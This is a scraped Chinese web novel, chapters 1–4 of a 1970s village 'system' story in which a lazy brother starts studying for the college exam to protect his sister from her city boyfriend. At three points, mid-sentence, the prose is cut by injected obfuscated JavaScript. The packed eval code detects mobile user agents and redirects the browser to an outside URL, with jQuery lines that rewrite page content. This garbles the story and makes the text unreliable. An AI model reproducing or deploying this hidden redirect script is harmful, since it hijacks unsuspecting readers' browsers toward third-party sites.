《不许觊觎我妹![年代]》 1. 第 1 章 忙完了一年最要紧的春种,田里头又回归了平时的井然有序。 戴着斗笠的男人弯着腰侍弄完庄稼,把斗笠摘下来扇风散热气儿。 田埂上一片欢声笑语,村里头成了家的老少媳妇们背着背篓,一边搭眼睛照看着不远处光屁股嬉闹的小娃娃,一边抓紧时间拉上两句家常。 就在她们说话的当口,两个年轻女孩从土路上走了过来,其中一个梳着两条麻花辫,辫子尾巴用红毛线包起来,随着她走路,辫子也一甩一甩,充满了青春活力的气息。 另一个要比她矮一些,扎了个简单的马尾,两个小姑娘手挽着手,还没瞧见村口这群人,聊天说话的媳妇们先开口招呼了:“周晚,大丫,今天这么早放学啦?” 周晚正想开口,小姐妹拽了拽她胳膊,带着笑半是埋怨半是撒娇:“马大娘,我现在叫许芝灵,灵芝的芝,灵芝的灵!可别再叫我大丫了——” “哎哟,这丫头,还较起真来了,行行,大娘下次一定不念错。” 大队长家的儿媳妇好奇地看了眼天色,“今儿咋这么早就回来了?” 周晚刚冒出个“是”字,许芝灵把话头一截:“今天学文言文,我俩学得快,老师就放我们先回来了!” 说完,她一拉周晚:“婶儿,大娘,我们先走了!” 等两人走远,周晚挣扎了好几下,总算是让许芝灵把她手松开:“捏得我疼死了——你刚刚咋不和她们老实说呀?” “怎么老实说,说咱们公社中学要黄了,大家伙儿都回来当农民吗?”许芝灵语气先是高了八度,紧接着又掉了下来,“我不想当农民……以后要怎么办啊。” 读书在这年头不是个容易事儿,村里人多是多,可大伙儿都得忙着干农活,挣工分,整个大队里头愿意让孩子读中学的数不出一个巴掌,凑了一个公社,才够起一个班。 上学多好,文化人受人尊敬,还不用下地,光是秋收时掰那玉米,手掌心能毛躁一个月,又痒又疼还脱皮! “王老师不是说了吗,想办法给咱们在县城中学那边弄了个联办班,咱们努努力,还能继续读书呢。” “那可难死了,轮不上。” “这么说倒也是……” “你就省省吧,谁愁也轮不到你愁。”许芝灵看一眼周晚,同样是乡下丫头,自己得戴着草帽才能不晒黑,周晚就气人了,啥也不戴也晒不黑,皮肤还不粗,又白又细腻。 “我咋就不愁了。”周晚小声抗议,“我也要读书的!” “可你就算不读书,不也有你对象吗?”许芝灵说道,“蒋南这眼看着就要回城了,还能把你一个人落在乡下不成。” 蒋南是周晚的对象,红旗大队的知青,果不其然,一提到对象的名字,周晚就害羞了:“……我才没这么想呢。” 许芝灵看她脸上飞红一片,觉得自己猜对了:“还嘴硬呢,我就说怎么今天中午连带的馒头都不吃,非要倒卖给富强大队那丫头换了两分钱毛票,咋了,下定决心了,打算攒着和蒋南回城用呀!” “她那不是忘了带干粮嘛,我可没倒买倒卖啊……我这叫乐于助人。”周晚不服气地辩解了一句,又说道,“你别乱嚷嚷回城不回城的,要是别人误会蒋南那多不好。” “那你不跟他走了?” 周晚沉默了一下,含糊道:“我也没说不去。” 这到底是去还是不去,许芝灵被她搞得有些糊涂,更多却是恨铁不成钢:“你可别犯傻,蒋南一直不回城还不是在等你点头跟他走,你要是真留在村里跟你哥一样当闲汉,那一辈子可都完了!” “不许说我哥坏话。”周晚鼓了鼓腮帮子,“我哥对我好着呢。” “对你再好,能让你过上城里的生活不?”许芝灵冷笑一声,“城里人住公房,能吃上商品粮,开得起小汽车……你要是跟着蒋南去京城,以后你就是城里人,你也能过这样的日子,你在村里能吗?” 她叹了口气:“你知不知道大队上多少姑娘羡慕你,就是因为你找了个城里对象?” 周晚不说话了。 许芝灵又叹了口气:“别丢了西瓜捡芝麻!” 红旗大队放在解放之前那就是个地地道道的穷山村,别说城里了,就连县城大多数人都没去过。 可周晚呢,不仅仅找了个城里人当对象,她对象还是京城人! 县城对农村人已经是遥不可及的好地方,京城,他们是想破头也想不出来该有多么富丽繁华。 蒋南长得好看,出身京城,天然就让红旗大队的这群“土包子”感到又是羡慕,又是敬畏。 相比之下,周晚她哥周楚成是大队上有名的懒汉,人到了十七八岁天天还看闲书,跟着狐朋狗友鬼混,地里的工分一点不积极,这两人放在一起比,那是抬举了周楚成——这世上就没人会放着城里的好对象不选,选个没出息的亲哥。 周晚不想和小姐妹争辩,却也不喜欢她这么说自己哥哥,她撅了撅嘴巴:“不说了!” “死心眼的丫头,我才不说了呢!” 小姐妹嘴巴上斗得你来我往,却还是跟之前一样挽起了手往家走,伴随着日头落下去半边,橘红色的阳光打在大队部前的大榕树上,斑驳得像是洒在地上的金砂。 周晚家在大队部后头,好朋友许芝灵却住在村尾,她停住脚步,正要和许芝灵道别,却有人叫她的名字:“晚晚!” 两人一齐扭过头去,这才发现榕树下正站着个身姿挺拔的年轻男人,穿着一身蓝色的中山装,颜色崭新,衬得人唇红齿白。 正是刚刚两人提到的周晚对象,蒋南。 外头还有知了叫,蒋南的中山装穿得一丝不苟,憋得他脑袋上都冒出了汗,周晚看了一眼他背后刚刚阖上的大门,下意识要拿手绢给他擦擦汗。 刚掏出来一个角,忽然想起来好友还在身边,动作顿住了。 许芝灵推了好友一把:“我这个多余的大灯盏子,还是赶紧走,别耽误你们处对象!” “说啥呢!”周晚跺了跺脚,这下连耳朵尖都红了,她转向蒋南,白皙又细腻的脸蛋上红通通的,看上去十分惹人怜爱,“你怎么跑大队部来了?” 蒋南抬了抬眼镜,冲她微微一笑:“我家里发电报来,问我什么时候回去。” 周晚愣了愣,有些愧疚地说道:“是不是因为我……” “不,是我自己心甘情愿要留在这里的。”蒋南深情款款地凝视着她,“我愿意等你给出那个答案,无论多久。” “蒋南……”周晚更愧疚了,“我……我回去再问问爸妈。” “好,我等你。” 蒋南是来大队部接电报的,没有逗留多久就回了知青聚居地,临走时又给她塞了一条布手帕,里头是几颗麦芽糖,说是他委托大队长去公社供销社的时候买回来的,他自己一颗都没留,全给了周晚。 看得许芝灵又是羡慕,又是感叹。 这么好的男人,真不知道周晚有什么好犹豫的,无非就是离开家,离开父母和哥哥,可这千载难逢的进城机会,要是错过这村可就没这店了。 要是换她有对象能带她进城,她肯定要牢牢抓住。 周晚的确是舍不得父母和亲哥,但她也同样想去城里看看,大家嘴巴里的美好世界幸福生活,到底是什么样的。 她心事重重,回到家的时候自然就带了些在脸上,她妈在灶房里煮饭还没发现,她爸周红军悄悄凑过来,往女儿兜里塞了两张毛票。 “爸?!”周晚刚开口,周红军就做了个“嘘”的表情,小声地叮嘱女儿,“收好咯,别让你妈知道。” “你哪儿来的呀?” 周红军有些得意:“你王老师家那小丫头闹着要个梳妆台,我答应帮她打一张,这是她男人给我的定金,爸都给你。” “谢谢爸!” “你俩嘀嘀咕咕聊什么呢。”沈桂香把菜往桌上一放,招呼她坐下吃饭,“吃饭!” “我哥呢?” “估计睡觉呢……周楚成!”沈桂香叫了两声没人搭理,她竖起眉头,“吃饭,不管他,还饿死他了不成!” 周晚可不敢在这种时候帮哥哥说好话,她乖乖地在桌边坐下来,“爸,妈,等会吃完饭我有事儿要跟你们说。” “啥事儿?” 西厢屋子大门拉开,周楚成打着呵欠从里头走了出来,迷迷瞪瞪地在妹妹身边坐下,沈桂香瞪了他一眼:“晚上打鬼子去了,眼睛都睁不开!” “噗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135872|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,别揪我脸!”周晚气呼呼地把亲哥的手拍开,“等会再说,爸妈,先吃饭!” “还跟你哥卖起关子来了。” 周晚才不理她这个坏心眼的哥,她把蒋南给的布包拿了出来献宝似的:“妈,蒋南给咱家买的麦芽糖!” “少忽悠你妈,什么咱家他家的,一看就知道你对象给你买的,又没多少,自己留着吃。” 周晚嘿嘿一笑,给亲妈碗里夹了块南瓜,沈桂香又问道,“蒋南今天不是去隔壁大队小学代课?怎么碰上了?” 周晚脸上的笑容落了下来,小心地看了她妈一眼:“他去大队部接电报,他家里说回城的事儿……” “咳咳。”周楚成装模作样地咳了两声,被他妹在桌子下面踢了一脚,不说话了。 沈桂香看着自己碗里的南瓜,感觉不香了。 “你别惦记这事儿,我和你爸不同意。”她严肃了神情,“处对象可以,但是要跟他回城,必须要先扯结婚证。” 周晚有些为难,沈桂香又警告道:“绝对不行!” 她脑袋耷拉下来,周红军看老婆的脸色越来越黑,连忙出来打圆场:“晚晚,你刚刚说有事和我们说,就是这个?” 周晚摇摇头:“……公社中学可能办不下去了,王老师说要想继续念书参加高考,只能去考到县城的联办班去。” “那就去考。”沈桂香当家做主惯了,想也不想就安排,“去县城读书挺好,你成绩好,不怕考不上,而且你姑姑不就在县城,到时候还能看顾你点。” 她神色缓和下来:“妈不反对你和蒋南处对象,你要是喜欢他,就跟他处,等你年纪到了,和他扯了证,你也考上大学,到时候再一起去城里。” 周晚才十七,距离能扯结婚证的十八岁还有好几个月,但她发愁的却不是这个。 “可是妈,要是扯了证就回不去城了。”周晚在她妈的眼神下,声音越来越小,“我不是要犟嘴,但是……王老师就没能回去。” 知青回城最重要的一个条件就是没有在乡下成家,这两年知青们陆续返城才知道这一点,对许多已经在这儿有了家庭的知青来说,就是晴天霹雳。 沈桂香何尝不知道这一点,就前几天还有人跟她说,某某大队的知青为了回城,硬是把老婆孩子给丢了,不要了,就闹得这样难堪,还是要回城里去。 城里才能吃饱穿暖,过好日子,她也希望女儿能进城过好日子,但绝不是这样没名没分地跟着男人进城去。 她还能不了解男人么,一开始处对象的时候什么都新鲜,等日子久了一旦厌烦了她闺女,周晚一个女孩儿要怎么办,隔着那么远的距离,爹妈想帮都没办法! 周晚咬了咬唇,一头是小姐妹恨铁不成钢的念叨,是对象温柔又包容的“我等你”,另一头是父母的反对,她夹在中间,像是被绑在铁架子上的野兔子似的,这边也烤得慌,那边也烤得慌! “我……” “其他事妈都好说,这件事没有商量的余地。”沈桂香平时疼女儿,但在这件事上却是分毫不退,“扯证再说!” 周红军赶紧出来和稀泥:“你妈也是为了你好。” 一家人七嘴八舌,眼看着桌上的菜都要冷了,周楚成吃了口小白菜,突然开口说道:“我要参加高考。” 所有的讨论声在此刻就跟消音了似的,一下子整个房间里都安静了下来,三双眼睛齐刷刷地定在了说话的周楚成身上。 “啥???” “我说我要和晚晚一起考县城的联办班,我也要参加高考!” 沈桂香一巴掌拍到儿子背上:“讲正事儿呢,你要闹腾也别这会闹腾!” “我没闹腾。”周楚成却说道,“自从晚晚和蒋南处了对象,家里头天天就是蒋南长蒋南短的,到底谁是你们亲儿子啊,难不成我是捡来的?” 沈桂香翻了个白眼:“我才捡不回来这么懒的儿子。” 她狐疑地上上下下打量儿子一番,却没能看到对方平时老挂在脸上的痞笑,反而是一本正经:“你认真的?” “真,比真金还真。”周楚成吸了口气,“你们不老说我天天闲着不做正事吗,我现在就要好好学习天天向上,给晚晚当榜样——我也要高考!” 2. 第 2 章 红旗大队是个什么地方,山沟沟里的穷乡村,懒汉、闲汉在这里那是最受人看不起,最遭人鄙视的。 周家的大儿子周楚成,却偏偏就是这么个货色。 别家孩子长到个十三四,怎么也得主动和队里提一提,从轻活、细活拿半工分的妇孺队伍,转成全工分的主要劳动力,跟着队上的大男人们一起干粗活累活,一声苦不叫。 周楚成呢?大队长不主动说,他就不提,一米八的男子汉,混在一堆大娘小媳妇和穿开裆裤的娃子堆里,一起打猪草,一起整理农田,大夏天的,别的男娃子晒得黢黑,他倒好,和他妹一样白生生的,和那些吃不了苦的知青一样细皮嫩肉! 是一点不嫌羞臊啊! 还是后来大队长忍不住了,直接给他换到了主力队里,想着磨一磨这懒骨头的性子,没想到周楚成不仅没抗议,回回工分做得满满当当不说,地里的活儿甚至比其他人还多做了一些。 队上大家都松了口气,以为这人改了,后来却发现这懒东西竟然变着法儿地躲累,竟然把一部分活儿给交了妇孺队的那些毛头小子。 不知道他用了什么迷魂药,那些小子竟然也听他的,被大队长抓了现行,还嚷嚷着“我们是自己愿意帮楚成哥分担的”! 一个十八岁的大小伙子,用得着一群毛都没长齐的小屁孩分担?可周楚成就能厚着脸皮认下来,把大队长气了个倒仰。 那以后,懒汉的名声是彻底传开了,周楚成也乐得做最少工分的活儿,正好腾出时间呼朋唤友,要么看闲书,要么出去闲逛,反正没活儿的时候人就找不见影子了。 公社中学建成的时候,大队长都劝周家两口子把儿子也送进去念,不然就周楚成这样儿,留在村里以后连媳妇都讨不上——谁会要个只有皮相好看,四体不勤五谷不分的懒丈夫? 周楚成自己不肯,去了两天回来了,他倒是觉得那些知识不难,但是让他看什么连环画闲杂书那是一夜不带合眼的,他坐在教室里用功念书,那简直就是要了他的命! 他这说辞当然是没人信了,哪有聪明人还不肯读书的,沈桂香和周红军越发笃定了一点,那就是儿子脑瓜子不行,不是个读书的料。 吃不了苦,又读不了书,两口子私下没少为这事发愁,都已经琢磨好,等周晚这头考上大学,找周红军在县城的妹妹问问有没有路子,哪怕是学徒工也好,给周楚成打包弄过去,至少不能真就这么一辈子了吧。 所以,周楚成现在信誓旦旦说说他要考大学,周家夫妻是一百个不信,不仅不信,还觉得儿子就是皮痒欠抽了,正讨论他妹妹的终生大事,他还敢不知好歹地破坏气氛?! “爸,妈,你俩这是啥表情。”周楚成轻咳一声,“难道我最近表现得还不够好?” “你表现啥了?” “上周你们出去忙,我自己把屋子里里外外都扫得干干净净,你回来还以为走错了门呢。” 沈桂香:“……做个大扫除你也拿出来说,害不害臊?” “大前天大队的水井出问题,我跟着修理队忙活了半晚上。” “……又没让你上手修。” “我爸去给大队长家打柜子还是我帮忙打的下手呢。” 沈桂香看了丈夫一眼,周红军讨好地笑了笑:“就前两天的事儿,队长媳妇不是把报酬的粮食给你了?” 谅他也不敢藏私房钱,沈桂香表情好看了一些,被儿子这么一说,虽然这些都是些鸡毛蒜皮的小事,但放在周楚成身上……嘶,好像还真有点变化? 仔细想想,好像这家伙也不像之前那样天天和狐朋狗友跑得找不着人影儿了,虽然还是关着房门不知道在看什么杂书,但好歹人在家里安分呆着了。 但长期积压下来的刻板印象可没这么好改变,沈桂香思索着,要是周楚成是随便拿个东西来搪塞她,她可不愿意上儿子的当,到时候空欢喜一场。 除非他能证明他是真的想认真改变了,有什么办法能让她试一试儿子的真心呢? 沈桂香的想法,也是周红军的想法,他自认自己就不是个多么勤快的人,对儿子也没有太多要求,能糊口别饿死就行,问题是儿子不像自己,有个木工手艺,教他他又嫌麻烦,周红军想,要是孩子真的愿意读书,供两个也不是不能供。 大不了他厚着脸皮去求大哥,求小妹……不对,这得花钱,他大可以自己去到处揽活儿嘛! 一家人都有心事,接下来这顿饭静悄悄的,竟然是最近少有没为周晚进城的事闹腾起来的时候。 谁也没察觉,所有人的注意力还真就从蒋南身上,转移到了周楚成身上,脑子里都被他要高考这个惊天大雷给炸晕过去了! 吃完饭,周楚成还凑上去想帮亲妈洗碗,被沈桂香赶了出去:“你要是有心帮你妈,就回房间看看书——不是你那些武侠小说!” 嘴巴上没一句好话,可这句话到底泄露了她内心真实的想法,周楚成应了一声转身回西厢,门还没关,周晚溜了进来。 “哥,你真要高考呀?” “真的。” “你是不是……受了啥刺激呀。”周晚欲言又止,“是不是之前蒋南来家里那次,惹你不高兴啦?” 蒋南和她刚处上对象的时候来过一次周家,他在城里呆惯了,本能地就不喜欢周楚成这种没文化的人,免不了脸上带出来一点来,她哥那天差点跟蒋南吵起来,还好她妈沈桂香在上面压着,蒋南走后,她哥还挨了顿骂。 周晚觉得这件事肯定给她哥留下了坏印象。 “跟他没关系,我就是突然想通了,闲着也是闲着呗,考大学挺好的,咱俩一起上大学。” “噗。” 周楚成也笑了:“咋了,不信你哥?” 周晚却摇摇头,认真地说:“我信。” “……” “哥,你忘啦,咱们俩一起还做过小生意呢。”周晚想起童年往事笑了起来,“五五分,还记得不?” 一开始是过年的时候,姑姑回来的时候头上戴着花夹子,说是在县里供销社买的,又花俏又鲜艳,周晚羡慕得不得了,可公社的供销社连肥皂和盐都不咋卖,大部分都是肥料之类的农用物品,就算有她也买不起。 最后是沈桂香给女儿用多余的毛线头子给做了点花样子,大大小小花骨朵似的缀在她马尾辫上头,周晚觉得和姑姑的花夹子不是一回事,周楚成却说这东西能挣钱,让妹妹缠着亲妈撒娇做了不少,他拿着布口袋去了一趟县城,再回来,就变成了一张张毛票子,和一个崭新又漂亮的花夹子。 比姑姑的那个还要好看,还要精致。 从那时候开始,兄妹俩就时常会凑在一起“合作挣钱”,那时候倒买倒卖抓得严,也不知道周楚成哪来的法子,回回都是一脸轻松地回来,钱没少挣,也没被抓。 周晚觉得她哥很聪明,特别特别聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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周楚成好笑地看着他妹像只兔子似的,嘴巴一鼓一鼓:“用不着那么小心,糖而已,哥给你买就是了。” 周晚嘿嘿一笑,挽着哥哥胳膊撒了会儿娇,等嘴巴里的奶糖吃完,她起身回自己卧室去,联办班入学考试的时间还没确定下来,但是准备必须得做上了。 临到门口,她停住了脚步,转过头认认真真地对周楚成说道:“哥,你肯定能考上大学。” 周楚成还没说话,这妮子自己先觉得这话有点腻歪了,不知道是不是吃了糖,说话也甜丝丝的:“你欠太多功课了,我给你借初中的课本去!” 话音未落,就跑了出去,一口气还给卧室门关上了。 “怎么一惊一乍的……” 周楚成哭笑不得,可紧接着他吐了口气,往椅子上一靠。 在妹妹面前表现淡定,实际上那颗大白糖奶糖却是他做系统任务才挣来的。 在这个年头,还只有大城市的食品商店才能买到,价格也异常惊人,像是蒋南送他妹的麦芽糖,也不过就一两分钱,但大白兔奶糖足足要一毛钱一颗,普通人还买不上。 想到系统任务,他脑海里响起了一道熟悉的,欠抽的说话声。 【在周晚面前说得好听,最后你们不还是把她送到城里,没名没分地跟着蒋南走了?】 【趋炎附势,利益当先,啧啧,不愧是小说里的极品一家。】 3. 第 3 章 周楚成翻了个白眼。 不知道什么时候开始,他脑子里就多了这么个鬼玩意儿,像大队长家那个收音机似的,但收音机也没这么能叭叭,天天就凑在他耳朵边说这说那,还没一句好话。 一开始他不当回事,直到最近这个自称系统的玩意儿开始嘀嘀咕咕说什么他妹妹的对象是个渣男,他妹以后下场很惨的话,才引起了他的注意。 原来他们一家人都是一本所谓年代文里的极品炮灰,他妹妹和小说男主蒋南处上了对象,眼巴巴跟着人家图一个荣华富贵,结果进城被蒋家嫌弃,周晚又没什么本事,最后灰溜溜地被赶出去,结局凄惨。 系统不肯告诉更多的剧情,周楚成却气炸了毛。 他妹妹是小财迷不错,但那都是她自己凭脑袋瓜挣回来的,这么多年来连他爸妈都觉得他没救了,只有他妹对着谁都维护他,不肯让人说她哥坏话,他妹就不可能做出捧高踩低的事儿。 但系统随即就说,只要他努力,这些剧情都可以改变。 周楚成表情严肃起来:“……你是聊斋志异里头哪只妖怪?” 他觉得这玩意儿有点神神怪怪的意思在里头,像是特别想引.诱他去跟它绑定似的,和志怪话本里头的狐狸精一模一样。 【?】 系统听不懂,但不影响它继续循循善诱。 【我可是炮灰逆袭系统,只要你努力做任务,你想要的奖励都有。】 周楚成眼神一动:“任何奖励?” 【没错。】 “粮票,布票?” 【可以】 “麦乳精,巧克力?” 【也行】 “……自行车,手表?” 【当然,只要你认真做任务。】 周楚成吸了口气,迅速推翻了这系统是妖怪的猜测,妖怪可不见得能弄来这些东西。 他想到他妈沈桂香又在叹气粮食不够,可红旗大队不是缺粮地区,这儿是不流通粮票的,想要粮食要么就去县里头拿通用的粮票换,要么就上黑市用钱买。 哪样家里头都是弄不来的。 麦乳精和巧克力这种好东西就更别想了,对农民家庭来说根本就是奢望,这辈子能见着一次就算是不错了。 至于最后的那些东西,完全就是他下意识说出来的,他就没指望过这个叫系统的东西能应下来。 可是它却说这些不是问题。 周楚成心里痒乎乎的,难道跟他新买的那本《未来世界》一样,是什么高智能的仿生机器人,寄居在了他脑子里? 那他岂不是想给妹妹买什么就能买什么,大队长家闺女穿的那条的确良连衣裙,他妹想做几身就做几身。 系统才不知道周楚成脑子里短短时间又转过去多少念头,它只有一个目的,那就是和眼前的宿主绑定,赶紧让他做任务,一等到周楚成点头,它立刻就把绑定给挂在了对方身上。 “说吧,啥任务。”周楚成信心十足,乡村嘛,要么是要去田里插秧除草,要么就是去修路砍柴,虽然他的确是不喜欢做体力活,但怎么着也是个全劳动力,为了妹妹,这点事儿还是不在话下。 然而系统接下来的话却让他惊呆了。 【任务一,30分钟内解出这道代数方程题,x??-7x+10=0】 周楚成:…… 周楚成:??? “任务和读书有什么关系???” 【宿主,你有没有想过就是因为你不务正业,不学无术,所以在故事里才过得那么凄惨,如果你好好努力考个大学,你就不是别人眼里扶不上墙的阿斗,你就能让所有人刮目相看,炮灰逆袭。】 周楚成抬起手要打哈欠:“用不着,多累——” 【就能改变你妹妹的命运,不让她受欺负,才能让你爸妈也过上好日子】 周楚成的手又放了下来。 【宿主?】 “……这题能简单点不?” 任务最终是失败了,一个小学毕业的学渣不可能解得出初中数学题。 可对于周楚成来说,这不是结束,而是“地狱”的开始,有了系统之后,他的生活顿时再也不像之前那么优哉游哉,肆意潇洒了。 他一翻开连环画,系统就在他脑子里幽幽地提醒【要不要做点任务放松一下】。 朋友来找他出门逛逛,他刚要答应,系统又冒了出来【你今天任务做了吗】。 周楚成:…… 系统任务真的很难,周楚成从小学毕业就没再碰过课本,公社小学又不讲什么成绩好坏,能读几个字能算点数就算是很好,现在让他正经跟中学生一样做题,那简直是要了他的命。 30分钟内解出函数题,20分钟要完成一篇英语阅读,10分钟内把一段文言文翻译成现代汉语。 周楚成麻了。 他做得出来个鬼! 想撂挑子不干了,系统却在他耳朵边一个劲儿地提他妹的名字。 周晚多可怜啊,摊上这么个没用的哥哥,比地里的小白菜还惨,被人欺负了也只能躲起来哭,一年到头连双新鞋也穿不上,看着别的年轻姑娘戴大红花心里说不出的羡慕。 刺激得往床上倒的周楚成硬是一个鹞子翻身又跳起来坐到了书桌前,不知道从哪儿翻出来一根麻绳把脑袋吊着,免得自己睡觉。 学,他学还不行吗! 只要学不完,就往死里学! 皇天不负苦心人,终于在他连续失败十几个学习任务之后,周楚成迎来了自己苦命生涯的第一缕曙光——他成功在一小时内写出了一篇800字的语文作文。 系统也没有食言,而是真的将奖励发给了他。 六尺布票! 周楚成却没有把这个奖励拿去自己用,而是把它卖给了大队上的田老汉家。 在红旗大队,一个人一年就只有三尺布票,供销社是不会把这些布票做成衣服的,只会裁成相应长度的布,交给来的人自己回家做,或是找裁缝做。 这里头也有门道,比方说在城里,只要布票够,就能换什么的确良,灯芯绒。 而在公社里头,哪怕是拿着布票也没地方换这种好东西,只能选粗棉布,穿上去又臃肿,又不方便行动,不如卖掉。 周楚成在村里名声不咋地,田老汉看他也是个浪荡汉,还以为是他底下偷偷拿出来换钱:“你把布票拿出来卖,你爹妈知道不?” “当然知道。”周楚成脸部红心不跳,“你不信你上我家问我爸妈,我们家不做新衣裳,用不上,跟你换两只鸡。” 田老汉当然不会去问,他和沈桂香有仇,以前两家和和气气的,他没少在挣工分的时候对周楚成睁一只眼闭一只眼,可有一次沈桂香被他捉住拿了大队上的鸡,死不承认,两家就闹掰了。 眼下只不过是他家独苗苗乖儿子也到了长身体的年纪,没新衣服出去都给人笑话,田老汉还是跟周楚成换了,没想到却收获了后者一句“大爷人就是豪爽”。 田老汉脸上啥也不说,回到家心里却有点飘飘然。 周家这是想跟他家重归于好?田老汉不知道自己想多了,周楚成只是觉得卖给他最省事儿。 提着两只鸡回家,一公一母,会下蛋的养了起来,公鸡当晚上就上了周家的桌。 周晚分了最大的鸡腿,一个劲儿地说“我哥最好”,给周楚成夸得心里冒泡,她也有些心疼哥哥,问他是不是跑去做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135874|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累活儿才攒下来的。 周楚成哪能承认,云淡风轻地表示他倒卖了点东西赚的,享受妹妹崇拜又敬重的目光。 有了第一次,就有第二次,第三次,系统刁难人,周楚成就跟它卯上,哪怕点灯点蜡地熬通宵,他一想起妹妹周晚吃鸡腿时的幸福表情,就感觉自己又行了。 刚刚给妹妹的那颗大白兔,也是做任务换来的奖励,周楚成在妹妹面前一派从容,他才不会说那道语文改错题差点把他逼得做梦都是考试。 系统见他不说话,还要在他脑袋里叭叭个没完,周楚成摆了摆手:“我爸妈就不可能做卖女求荣的事儿。” 系统不了解他父母,他自己还不了解吗?他爸妈就不是做得出这种事的人。 就像关于他妹的剧情十分蹊跷一样,他父母会同意妹妹就这么进城,里头肯定有什么隐情。 但这些事情对现在的周楚成来说都太遥远了。 【为什么不直接让你妹妹和对方分手?】 “……当然要改变。”周楚成说道,“你不懂,越是有人阻挠,越是不愿意分开,这事儿不能蛮干。” 与其跟系统在这儿斗无聊的嘴,还不如抓紧时间多做几个任务,给妹妹换更多的好东西回来,让父母意识到他靠得住。 只要他对他妹够好,一百个蒋南也把他妹骗不走。 对了,周楚成想起来妹妹走之前说的话,联考班的考试很难,要不他想想能不能从系统这里搞些麦乳精来,听说那个最补脑,吃了还有营养,他妹一天弱不禁风的,万一为了准备考试太努力生病了咋办。 周楚成想着,系统的任务也发了下来,一如既往地对他这个学渣充满了恶意。 【请在30分钟内解出下题:有一个定滑轮和一个动滑轮组成滑轮组……】 周楚成:…… 靠,他怎么抽中了一道物理题! 这系统的任务就是比着高考科目来的。 语文和政治是他最想抽的内容,再怎么样还能看懂题目,数学是得反反复复做,慢慢才能举一反三,但剩下的化学、物理,就有点强人所难了。 他就没接触过,完全是硬着头皮,遇见一次任务,失败一次,学一次,再遇见一次,再失败一次……系统真是个活阎王。 但想到自己刚刚夸下的海口——他还得考上大学,给他妹撑腰呢,周楚成一咬牙,硬是把铅笔从桌肚子里拿出来,开始在草稿纸上沙沙地写了起来。 尽管心里把系统骂了个狗血淋头,但做起题来,时间还是飞速地往前流逝,就在周楚成解出第一个小问,正要做第二个小问的时候,院子外头却有人敲响了门。 他忙着做题不想搭理,外面却一直敲个不停。 周楚成憋着气出来开门,竟然是许芝灵。 “周……大哥。”许芝灵面对周楚成不像在小姐妹面前那么自在,她伸长脖子往里探,“晚晚回来没?” “她不是一直在家么。”周楚成回头看了一眼,等会,他妹房间的油灯咋熄了! “哎呀,刚刚蒋南好像约她出去说什么事儿了,我还以为就几句话,说完就回来了呢。”许芝灵似乎也知道自己说漏嘴了,“不好意思啊周大哥……我先回去了!” 周楚成:…… 【宿主,你妹妹好像跟人约会去了】 周楚成咬牙切齿:“我知道。” 【不打算去看看吗?】 “当然要!” 【那要放弃任务?】 “……马上做完!” 他还不信今天就被这道题困死了,想到妹妹周晚充满信任的那张脸,周楚成龇牙咧嘴。 死脑袋,快点转啊,死手,给我再写快点! 4. 第 4 章 都说人是要在逆境里头才会爆发出潜力,周楚成也不例外,心里头惦记着妹妹的事情,这一轮题做下来,竟然比任何一次都要快,还做对了! 【叮~宿主成功在限定时间内完成物理力学题,奖励巧克力一袋】 系统一副赞赏的口吻:【宿主,你很有读书天赋】 巧克力! 又是一个县城都吃不着的好东西,放在大队上能吸引全村人目光的好东西,若是换在平时周楚成老早就迫不及待了,可现在他妹都要被渣男拐跑了! 周楚成看都没看一眼,落下一句“先放着回来再说”,抓起椅背上的外套就往外跑。 红旗大队地方倒是不大,村落内外都是平坦一片的村路,就大队部门口那棵榕树下头平时有人坐着乘凉,但正好就在村中心的位置,肯定不可能用来约会。 想来想去,只能是在知青驻地外头的那片小树林,这也是大队上有些人不满这些知青的原因,主席叫你们上山下乡,那是让你们来增进自己的劳动能力的,怎么到了地方就一个二个嫌苦嫌累,细皮嫩肉的睡个茅草床都能浑身起红疹子。 还是大队长牵头给他们安排了这么个驻地,修了一排土房子,为了避免两边起矛盾,又给安置在了村外头,隔着一片小树林子,大家也不至于天天彼此盯着心里不舒服。 到了最近几年,知青回城的回城,在这儿安家的安家,大队上这才没了闲言碎语,但知青驻地却没有收回去,就一直沿用着,打算等蒋南这一批人回城以后再说。 周楚成赶到小树林的时候,正好周晚和蒋南正说着体己话,月亮在天上,恰好就勾着少女芳心萌动,蒋南又是个大才子,免不了在对象面前秀一秀自己的诗文功底。 什么“天涯共此时”,什么“竟夕起相思”,在月光下头低低絮语,说不出的浪漫——如果周楚成没握着拳头抵着嘴巴,低咳两声的话。 “晚晚,找你老半天了。” 刚还你侬我侬难分难解的一对小情侣,顿时跟触了电似的分开了,周晚满面通红,又是心虚,又是意外:“哥,你咋知道我在这儿?” 周晚心里头跟打鼓似的怦怦跳不停,她可是从家里偷溜出来的,根本没跟爹妈打招呼,就更别说自家亲哥了,瞒着家里头,就是因为今天在吃饭的时候闹了不愉快。 